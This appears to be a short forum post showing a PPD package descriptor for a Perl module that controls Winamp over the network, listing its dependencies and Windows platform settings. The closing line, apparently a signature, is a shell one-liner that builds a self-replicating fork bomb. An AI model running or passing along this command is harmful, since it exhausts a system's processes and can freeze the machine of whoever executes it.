Update: Here's the contents of the .ppd:

<SOFTPKG NAME="Winamp-Control" VERSION="0,02,0,0">
    <TITLE>Winamp-Control</TITLE>
    <ABSTRACT>control winamp (over the network)</ABSTRACT>
    <AUTHOR>Murat UEnalan &lt;murat.uenalan@gmx.de&gt;</AUTHOR>
    <IMPLEMENTATION>
        <DEPENDENCY NAME="Class-Maker" VERSION="0,0,0,0" />
        <DEPENDENCY NAME="LWP-Simple" VERSION="0,0,0,0" />
        <DEPENDENCY NAME="URI" VERSION="0,0,0,0" />
        <OS NAME="MSWin32" />
        <ARCHITECTURE NAME="MSWin32-x86-multi-thread" />
        <CODEBASE HREF="" />
    </IMPLEMENTATION>
</SOFTPKG>
[download]

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;